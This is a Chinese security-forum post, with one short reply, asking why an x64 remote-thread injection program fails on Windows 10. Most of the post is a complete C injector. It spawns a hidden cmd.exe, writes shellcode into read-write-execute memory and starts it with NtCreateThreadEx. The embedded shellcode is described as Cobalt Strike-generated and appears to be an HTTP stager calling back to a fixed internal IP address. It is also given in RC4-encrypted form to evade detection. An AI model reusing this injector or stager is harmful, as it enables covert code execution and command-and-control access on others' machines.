首页
社区
课程
招聘
未解决 x64下NtCreateThreadEx远程线程注入shellcode失败
发表于: 2021-3-26 18:14 4486

未解决 x64下NtCreateThreadEx远程线程注入shellcode失败

2021-3-26 18:14
4486

问题:
x64下创建进程,使用NtAllocateVirtualMemoryNtWriteVirtualMemoryNtCreateThreadEx 进行远程线程注入shellcode失败,报错信息如下

但是 shellcode 提前进行RC4加密然后解密注入就可以正常注入

 

另外 x64 编译的代码无论是否加密在 win10 下都无法运行,x86 就可以,这里win10 是有特殊保护吗?希望有大佬能帮忙解答下,感激不尽!

 

环境:
shellcode 是 cobalt strike 生成的
win10 x64 + vs2015 非静态编译
测试机是 server2012 r2 x64

 

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#include "stdafx.h"
#include <Windows.h>
#include <winternl.h>
 
#ifdef _M_X64
#define CMD L"c:\\windows\\system32\\cmd.exe"
// 原 shellcode
#define SHELLCODE_C "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x9a\x1f\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x7a\x47\x36\x66\x00\xce\x01\x80\x3c\x44\x6d\x6f\xb7\x08\x6e\x92\xb7\xb0\x2f\x89\xc2\x9e\xec\x65\x8e\xec\xe2\x1b\x86\x11\x80\x3f\xe6\x12\xf2\x6f\x1a\x54\x10\x3d\xbd\x7f\x00\x4d\xa4\xd2\x7a\x6d\xe0\xec\x9d\x4a\xbc\xe9\xc2\xda\xcd\x21\xb1\x9b\x7c\xe7\x8b\x04\xa0\x41\x1f\x40\x41\x09\x7b\xb4\x2d\x98\x92\xc0\x62\x5f\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x42\x4f\x49\x45\x39\x3b\x4e\x4c\x4e\x4c\x29\x0d\x0a\x00\xab\x02\x99\xd0\x20\x2e\x5a\x96\x4b\x0e\xf7\x2c\x25\xb3\xa2\xf0\x70\xbb\x02\x2e\xf8\xa0\x6b\x68\x09\x16\x90\xd3\xad\xd8\xbf\x23\x16\xda\x23\x45\xdd\x98\x8a\x38\x67\x7a\xa6\xfc\x3a\x5c\x05\xdf\xce\xe7\x8f\xc6\xce\x92\x27\x06\x81\xca\x3b\x83\x5e\xbb\x6a\x0f\x75\xad\xc4\x8f\x3f\x8d\x8a\x36\x5c\x03\x8f\x69\xe9\xee\x5e\x5a\x7c\x9b\xef\xee\x75\x93\x3a\xb3\x0d\xd6\x9d\x69\x31\x83\xd8\x27\xec\x15\xf2\xf1\xed\xd7\xe7\x19\xde\xeb\x45\x5f\xa6\xc6\xd0\x88\x3f\xda\x88\x43\x22\x0b\x08\x2c\x03\x08\x0f\xef\x31\x70\xa2\xb4\x19\xd9\x82\x59\x3c\x94\x43\x00\x3b\xc2\xf4\xea\xd9\xba\x42\x30\x73\xdf\x0c\xba\x40\x03\x99\xb8\x2d\x91\x57\x93\xf0\x35\x0e\x72\x6b\x29\x3f\xd2\x8e\xba\xa9\x83\x2e\x72\xdf\x8a\x92\x6d\x48\xe9\x1f\x0f\xc1\x6b\xf8\xeb\xb0\x14\x64\x48\x96\xba\xe2\xfb\x6d\x7a\x04\x92\xe6\xf6\x93\x03\xf2\x68\x54\xf6\x4c\xd4\xa4\x57\x0e\x89\x44\xc1\xce\xfc\xb7\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x30\x2e\x32\x34\x2e\x32\x35\x31\x00\x12\x34\x56\x78"
// RC4加密 shellcode
#define SHELLCODE_C_E "\x45\x8e\x0b\x2a\x99\xca\x0e\x92\x5a\xf1\xe9\x8b\xb3\xfa\x21\x30\xec\xfb\xda\xd1\xee\x1d\x94\x95\xca\xb2\xf6\x99\x0d\x83\xb6\xfa\x0c\x5d\x20\x97\xec\xcf\x6a\xbc\x58\x3b\x2d\x2d\x2c\xda\xb2\x27\x62\x15\x76\x9c\x03\x25\x9c\x7a\x5d\x91\x25\x37\x2a\x28\x2c\xa0\x57\x7d\x0b\xa9\x0e\x38\xa2\xc0\x1d\x08\x9c\x2b\x32\x85\x2d\x92\x94\x9f\xeb\x7b\x68\xb5\x3c\x7b\xdf\x86\x68\xa4\x0c\x42\xda\x99\x01\x27\x4c\xba\x7c\x1b\x58\x62\x8a\x4f\xc6\xba\x77\x83\x6a\x9e\x5e\xff\xbc\xc1\xa7\x38\x24\x7e\xdb\xcb\xa1\xad\x1d\x19\x15\x79\x70\xaa\x7a\xd7\x86\xbd\xe2\x50\x9d\xae\xc1\x04\xfa\xdc\x21\xa0\x9f\x55\x35\x80\x84\x32\x31\x01\xf1\x7e\xdd\x75\x6c\xfa\xf1\xf6\xe5\x14\x92\x70\x4c\x98\xb8\x9b\x46\x39\xd4\x3c\x5a\x04\xb0\xa2\xb1\x46\x84\x76\xfa\x11\xe3\xad\x07\x57\x60\x78\xa4\xa2\xf2\x2c\xbb\x60\xa6\x47\x01\x51\xd4\xe6\xac\x09\xbd\xa3\xbb\xf2\x36\xc7\xcc\xa6\x84\x72\xaf\xab\x86\x59\xc4\xa3\xc9\x57\x10\x7c\x42\x5e\x8c\x05\xd9\x2f\x2c\xc2\xdf\xed\xb4\x63\x2f\xa2\x9d\x76\xe8\x0d\x5e\x84\xa1\x12\x9e\x69\xd8\x5c\xcd\x87\x55\x98\x36\x69\xce\x9c\xa2\xae\x1c\xe0\xd5\x9e\x49\xa5\x09\x95\xce\xfc\xdf\x74\x2c\x39\x86\x5b\x8f\x65\x62\x7b\x62\x4b\xa9\xb8\xfa\x91\x4c\x04\x87\x8e\x7d\xf7\xd9\x2e\xef\xe5\x21\x95\x26\xb6\x3e\xb8\xb9\x13\x52\x75\x5c\x55\x83\xc8\x94\x69\x22\xc4\xfe\x5c\xbf\xc4\x8d\x07\xd9\x6a\xfa\x65\x7c\x87\x0a\x05\x3e\x12\x06\x15\x8c\xc2\x42\xd2\x4f\x90\xee\x9a\x3b\x08\xea\x29\x7a\xe7\x5c\x29\xdf\xe1\x11\xfb\xc1\x7a\xdc\xde\x36\x1d\x21\xd6\x26\xa7\xaa\x9d\x3e\xe8\x7c\xe5\x38\x49\x83\xba\x2f\xd7\x33\x66\x59\x56\xea\x36\x11\xef\x8b\xf0\xfa\x4a\x61\xf6\x03\x14\xb1\x87\x83\x65\xe2\x3d\x75\x2f\x2c\x45\x23\x1c\xa9\x8a\x0c\xfb\xad\xf2\x09\x24\x71\x35\xcd\x42\x0f\xce\x52\x28\xf3\xdc\x99\xb0\x35\xad\x41\x69\xb5\xee\x3e\x8a\x7a\x8f\xbc\x14\x40\xdb\x4f\xd0\x28\xc8\x4a\xe1\x80\x1e\x17\xd7\xcc\x7b\x88\xc1\x91\x92\xf4\xde\x89\x6a\x90\x6a\xa5\x6d\x68\x32\xe7\x23\x3c\x1e\xd0\x87\xc2\x29\xa3\xec\x70\x58\xf7\x03\x7e\x87\x30\xc5\x43\x5d\xc7\xd5\x72\xd0\x69\x51\x75\xa4\xd5\x7e\x4f\x5d\x51\xd4\xae\xb9\xbe\x4b\xeb\x1f\x3c\xf7\xf4\x86\xfe\x06\x98\x6c\xed\xaf\x43\x3e\x81\xf8\x6f\x7d\x47\x94\xa3\xab\x8e\xcb\xe0\x3f\xaa\xed\xc8\xa6\x12\xbb\xc3\x77\xf3\xc8\x52\x3b\x26\x0a\x3b\x66\xac\x38\x2c\xb9\x0a\xdc\xfd\xed\xa4\x86\x10\x1d\xd2\x23\xd5\xba\x4a\x68\x74\x1f\xf1\xbe\x96\x0a\x23\xb0\xe2\x9c\x8f\xf2\x51\x18\xf1\x28\x09\xe1\x6e\xf7\x79\x4d\xa5\x2b\xd6\x7e\x03\x82\x23\xe3\x24\x88\x10\x02\x20\x3e\x2c\x68\x50\x56\x12\x7f\x1c\x5c\xa2\xf9\x0c\x31\x40\xbc\x8c\x91\x02\x25\xc9\x68\x26\xc2\x62\x64\x4a\x98\x57\xfb\xe1\x18\x18\x17\xd3\x73\x0c\x07\xb8\x7c\xfd\x6d\x6a\x3c\x94\x74\xf3\x30\x0d\x16\x5b\xc5\x9e\xa8\x0d\x90\x46\x05\x8f\xda\xd1\xc8\x17\x14\x09\xc9\xb9\x30\x4d\x69\x6b\x4a\x29\xda\xbf\x09\x27\xf2\xa5\xc4\xff\x47\x91\xa4\x1c\xe0\x87\x27\xcd\x85\x08\x29\xcc\x29\x63\x1d\x23\xcb\x91\x8a\x52\x09\x79\xb1\x34\xdd\x5c\x3f\xa4\x68\xd9\x72\xdd\xd5\x83\x5b\x67\x71\xc0\xcc\xff\xc1\x0e\x7b\xd7\xbd\x1f\x91\x44\x6c\xf0\x56\x59\x0c\xcb\x0f\x0a\xd6\x42\xc5\xa8\x6c\x74\xfb\xa4\x98\x59\x5e\xa6\x6a\x7a\x24\x6c\x28\x5c\xc1\xb3\x9b\x57\xd1\x1a\x06\x14\x13\x7e\x23\x79\x10\x17\xa9\x9b\xac\x4f\x50\x75\x8c\xf0\xe5\x32\xbf\xee\x1f\x87\xb6\x4e\xc4\x3a\x33\xe1\x7c\xff\x10\x7e\xd8\x75\x2c\x13\x75\x55\x48\xa1\xd3\x50\x43\x10\x7f\x55\x41\x3c\xe4\xf2\x5d\x55\xd9\x99\x3b\x99\x39\x40\xf7\xa2\x7b\x99\x4e\x06\xe3\xde\xb5\x86\xcc\xa9\xf7\xda\x41\x49\xeb\xe8\x8e\x6b\xc4\x48\x57\x63\xd3\xae\x90\x97\x25\x90\x5e\x7c\xd9\x3b\x66\x0f\x4b\x2d\xdd\xea\x52\x75\x5f\xe5\x02\xd4\x88\x9d\x5b\xaa\x67\x90\xfb\x07\x43\x3d\xf6\xf2\x4d\x97\x6c\xbe\xcd\x4c\x96\xf0\x45\x9d\xc1\x2c\xbf\xcf\x46\xfc\x53\x46\xed\x33\x49"
 
#else
#define CMD L"c:\\windows\\syswow64\\cmd.exe"
#define SHELLCODE_C "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x9a\x1f\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x36\x78\x58\x56\x00\xee\x6b\xfa\x21\x74\xa6\x7e\xd1\x75\x2f\x63\x97\xd9\xf8\x2b\xf6\xc3\x50\xb3\x40\x41\x07\xc6\x22\x3d\x9d\x1a\x78\x40\x6e\x98\x97\x89\x41\x38\xce\x2e\x9c\x45\xf9\xb0\x03\x4d\xc2\x59\x1b\x21\x60\x29\xa6\x81\x43\x87\xd6\xf8\x6e\xa0\xa0\x1b\xb6\x59\x01\xfe\x63\x9a\x4c\x98\x5d\x7c\xb0\x46\xcd\xd8\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x29\x0d\x0a\x00\x8b\x64\x12\x4e\xce\x87\x38\x2e\xf5\xde\xb7\xb6\x2a\x4a\x5e\xdb\xb0\x8e\x21\x00\xb8\x52\x98\xdb\xdb\x08\x79\x4e\xb4\x9c\x32\x7c\xe2\x44\xbd\x42\x9a\x42\x93\x7b\xfc\x05\x1c\x3d\xe3\xf1\x82\x00\xad\x8b\x62\x30\xa3\x8f\xe5\x5b\xee\x97\xe9\xbc\x50\x2d\x5b\xbd\x47\x89\xbc\xac\xf5\x1e\x8b\x0b\x61\x3c\x4a\x9a\x0b\x9e\x3e\xe8\x9a\x98\x3d\x38\x65\x4f\xa4\x7f\x1e\xfa\xd3\xe9\x87\x95\xdb\x97\xcc\x6d\x52\x5f\x03\x5b\xe6\x48\xfc\x79\x59\x8f\x3d\x38\x32\x45\x45\x0e\x5f\x5d\x34\x8a\x15\xe5\x5b\x3a\x25\x22\xa7\x43\x2b\x50\xb4\x54\x7d\x68\xa4\x55\xac\x0a\x1e\xc6\xf5\xcb\x23\x88\x73\xf7\xce\x81\x4e\xfc\x88\xf0\x1c\xa0\x13\x75\x9f\x77\x9c\x82\xdb\x90\xfb\xee\x44\xe1\x3f\x98\xd1\x9f\xf7\x27\x39\xa6\xb8\x9c\xc9\xaf\x76\x86\x59\x75\x97\xdc\xc9\xb6\xad\x9d\xeb\x00\x43\x51\xbf\x51\xe2\x6a\x61\xc2\x7a\x7c\xac\x9e\x37\xe3\x0d\xb6\xb6\xe6\xc3\xf3\x7f\x26\xa7\x2e\x7a\x63\xce\xf5\x38\xb0\xdf\x90\xf7\x35\x78\xe0\xcc\x8b\x46\xf1\x5e\x00\xf9\x8a\xdd\x8c\x5f\xf8\x58\x8a\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x30\x2e\x30\x2e\x32\x34\x2e\x32\x35\x31\x00\x12\x34\x56\x78"
#define SHELLCODE_C_E "\x45\x2e\x01\xce\x69\x22\xa6\x1b\xbf\xc0\x7a\xbe\x79\xf8\x43\xea\xe8\xbf\x60\x51\x9f\xde\x6d\xef\xa5\x4d\x37\xed\x24\x34\x0c\x68\x80\x29\xca\x99\xbe\xab\x45\xca\xdd\x7c\x61\xdb\x07\x62\xd1\xb0\x45\x7b\x07\x6b\x43\x35\xbd\xeb\x17\x18\x50\xf3\xeb\x9d\x84\x4c\xd5\x6c\xd1\xa9\x9d\xe1\xda\x6b\x5e\xe7\x37\x16\xab\x68\x98\x61\x8d\x42\xd8\xf1\x2b\xfe\x10\x32\x10\x8b\x69\x2b\xb1\x62\xdb\x0a\x4a\x5b\x64\xd1\x8a\x77\x35\xc4\x59\x84\xbe\xd7\x77\x80\xef\x43\x1a\x4b\xfe\xd8\x30\x0d\x7f\xbd\xde\x96\xed\x4c\x5d\x15\x00\x9d\x87\xb0\xda\x47\xd1\xad\x1c\x71\xfd\x11\xee\x7e\xa4\x34\xeb\xd9\xff\x7e\x69\x25\xf1\x82\x1e\x2c\x14\x57\xad\x54\x21\x5d\xb1\xb0\x91\xcd\xeb\xcb\x90\x8f\xf3\x85\x10\x81\xaf\xe1\x27\x2b\x07\x76\x88\x83\xdc\x37\xa2\x14\x8b\x3e\x17\x5e\x4b\x22\xb4\xa9\xd2\x35\x48\x40\xe7\x46\xae\xd9\xdb\x2e\x6a\x95\x0a\xfd\x42\x6b\x22\x09\xe1\x0b\xb1\x18\xad\xa2\xbc\x7c\xff\x9f\xf3\x6b\x25\x60\xa9\x4a\xf4\x77\xaf\x1c\xe9\x8d\xad\x6f\x5e\x1e\xa7\xd3\xcd\xe3\xc2\x16\x39\x25\xc4\x25\x54\x5f\x16\x49\x05\x76\x93\x5d\xa5\x29\x9e\xdd\x29\x6b\xcf\x6f\x06\x65\x15\xb7\x91\xc6\xee\xdf\xdb\xd7\xc9\x5c\x4c\xd2\x4e\x40\x16\x93\x7d\x2b\x17\x3c\xa1\x6d\x5a\x3f\xc1\x65\x7c\x2e\x2e\x5f\x47\xd0\xc1\x33\xa8\x41\xb7\x56\xf1\x22\xb9\xfb\xa1\x3a\xff\x06\xb4\xaa\x4b\xc4\xfc\xf5\xf2\x97\xdf\x46\x8b\x0a\x50\xb4\xb8\x57\xe9\x35\xef\x82\x4e\x78\x24\x68\x09\xac\xb6\xa6\xb6\x1e\x5c\xe2\xa7\xb9\x45\x0c\x55\x15\x70\xad\x1c\x8b\x0f\xee\xac\xa2\x11\x2a\x5f\x8e\x33\xc0\xe8\x91\xbf\xdf\x37\x56\xa5\x0c\x7a\x42\xd3\x55\xfe\xbb\xce\x76\x8a\x1f\x5c\xbd\x21\x93\x2d\xb2\x0f\xbe\x01\xf0\xf8\x21\xad\xe1\xc6\x91\x5f\xb7\xbf\x38\x13\x66\x20\x3f\x63\x19\xd6\xf9\xe9\xbe\x80\x7d\x21\xee\xe5\x18\x17\xeb\x70\x44\xeb\x5a\x48\x4c\x51\xbb\x89\x2c\x71\xb8\x4d\xf0\xec\xd9\x5e\xaf\x6b\x16\x96\xd7\x1c\x21\x21\xd0\x14\x2e\x05\x81\x7c\x3c\x8b\x03\x38\xcb\x00\x85\xfb\xbd\x97\x52\x66\x27\xce\x6e\xa6\x02\x61\x18\x08\x4b\x77\x88\x37\x65\x5c\xf6\x6b\xe8\xa2\x7e\x9a\x9f\xd7\xbf\x61\x64\xa3\xb6\x38\xc8\x0c\x03\xe2\xa8\xba\xfc\xff\x94\x65\xba\xa9\x02\xaa\xda\x2b\xa8\x01\x7f\x2b\x5a\x42\xe3\x1a\x23\x5b\x27\xdd\x46\xca\x48\xa8\xf5\x49\x2b\x72\x17\x64\x34\x75\x3a\x74\xb8\xa9\xf1\x94\x15\x9c\xfe\xb7\x71\xde\x19\xe2\x31\x48\x13\x3a\x62\x81\x4a\x77\x5b\x14\x1e\xf9\x20\x3f\x89\x7d\x9f\xad\xf6\xdd\x29\xd4\x4d\xcf\xf3\xea\x55\xc7\xa7\x40\x7c\x28\xe2\xf2\x9e\x23\x74\x49\x26\x18\x85\xe2\x4b\x3e\x1e\xa6\xd5\xd2\x6a\x8a\x03\x91\xa7\x24\x7d\x39\x9a\xe5\x2f\xdf\x73\xa8\x0f\x28\xab\xb0\xa8\x61\xfe\xfe\x14\xc9\x7b\x4f\x38\x6b\x5e\x6d\xbb\x1a\x35\x14\x60\xf1\x38\xcc\x6c\xc8\x64\x76\xab\x9e\xf6\x34\xca\x8a\xbd\x94\xcc\xc9\x11\x7d\x84\x9d\xbd\x6e\x56\xdc\x0f\xdb\x05\x4d\xd6\x24\x33\xa6\x8d\xf4\x90\x42\xd4\xed\x91\x8d\x4d\x56\xc8\xb6\xd7\x78\xfa\x76\x7b\xda\x14\x41\xcd\x28\x25\xb4\xee\xc9\x33\xc5\xe9\x1e\x39\xcd\x27\x6b\x33\xa2\x16\x7c\x40\x51\x1f\x51\x5f\xa0\x5e\xc4\xba\xf6\x80\x8f\x89\xd7\xc7\xfb\x22\x2d\x85\x33\xa8\x4f\x88\x01\xe3\x2f\x2d\xcf\x84\x97\xb6\x35\xe4\x7c\x00\xce\xaa\xc5\xd4\xaf\xab\xbb\x97\x98\x35\x5f\x58\x9b\x63\x81\x87\x9d\x13\x51\x40\x3a\xab\x4d\xc2\x9a\xf7\x7b\xa9\x69\x87\x96\xda\x17\x0c\x2d\x8c\x7c\x04\x77\xa1\x3c\x36\xbc\x47\x05\xe0\x17\x8c\x67\x9a\x2f\x99\x99\x11\x99\x50\x41\x02\x61\x40\x25\xf0\xb3\xf7\x06\x3b"
#endif
 
#define KEY "20@10315"
 
typedef NTSTATUS(NTAPI* TNtAllocateVirtualMemory)(   // 定义 NtAllocateVirtualMemory 原型
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect);
 
TNtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
 
 
typedef NTSTATUS(NTAPI* TNtWriteVirtualMemory)( // 定义 NtWriteVirtualMemory 原型
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    ULONG NumberOfBytesToWrite,
    PULONG NumberOfBytesWritten OPTIONAL);
 
TNtWriteVirtualMemory NtWriteVirtualMemory = NULL;
 
 
typedef NTSTATUS(NTAPI* TNtCreateThreadEx)( // 定义 NtCreateThreadEx 原型 
    PHANDLE hThread,
    ACCESS_MASK DesiredAccess,
    PVOID ObjectAttributes,
    HANDLE ProcessHandle,
    PVOID lpStartAddress,
    PVOID lpParameter,
    ULONG Flags,
    SIZE_T StackZeroBits,
    SIZE_T SizeOfStackCommit,
    SIZE_T SizeOfStackReserve,
    PVOID lpBytesBuffer);
 
TNtCreateThreadEx NtCreateThreadEx = NULL;
 
 
 
void RC4Crypt(unsigned char Data[], unsigned long Length, unsigned char Key[], unsigned long KeyLength) // rc4 加密
{
    int i = 0, j = 0;
    unsigned char k[256] = { 0 }, s[256] = { 0 };
    unsigned char tmp = 0;
    for (i = 0; i < 256; i++)
    {
        s[i] = i;
        k[i] = Key[i%KeyLength];
    }
    for (i = 0; i < 256; i++)
    {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
    int t = 0;
    i = 0, j = 0, tmp = 0;
    unsigned long l = 0;
    for (l = 0; l < Length; l++)
    {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[l] ^= s[t];
    }
}
 
 
int main()
{   
    unsigned char buf[] = SHELLCODE_C;
    unsigned char key[] = KEY;
    //RC4Crypt(buf, sizeof buf, key, sizeof key);
    HMODULE hNtdll = LoadLibraryW(L"ntdll");
 
    NtAllocateVirtualMemory = (TNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
 
    NtWriteVirtualMemory = (TNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
 
    NtCreateThreadEx = (TNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
 
    PROCESS_INFORMATION ProcessInfo;
    STARTUPINFO StartupInfo;
 
    ZeroMemory(&StartupInfo, sizeof(StartupInfo));
    ZeroMemory(&ProcessInfo, sizeof(ProcessInfo));
    StartupInfo.cb = sizeof(StartupInfo);
    if (!CreateProcess(
        CMD,
        NULL,
        NULL,
        NULL,
        FALSE,
        CREATE_NO_WINDOW,
        NULL,
        NULL,
        &StartupInfo,
        &ProcessInfo
    )) {
        exit(-1);
    }
    WaitForSingleObject(ProcessInfo.hProcess, 1000);
 
 
    HANDLE thread_handle, target_process_handle;
 
    HANDLE remote_thread_handle;
    LPVOID remote_process_buffer = NULL;
    unsigned int buf_len = sizeof(buf);
    // 分配内存
    NtAllocateVirtualMemory(ProcessInfo.hProcess, &remote_process_buffer, 0, (PSIZE_T)&buf_len, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    // 写 shellcode
    NtWriteVirtualMemory(ProcessInfo.hProcess, remote_process_buffer, buf, buf_len, NULL);
    // 创建远程线程
    NtCreateThreadEx(&thread_handle, 0x1FFFFF, NULL, ProcessInfo.hProcess, (LPTHREAD_START_ROUTINE)remote_process_buffer, NULL, FALSE, NULL, NULL, NULL, NULL);
    return 0;
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 1129
活跃值: (2911)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
ACG保护吧,检查 NtAllocateVirtualMemory 成功没有。
2021-3-26 23:57
0
游客
登录 | 注册 方可回帖
返回
//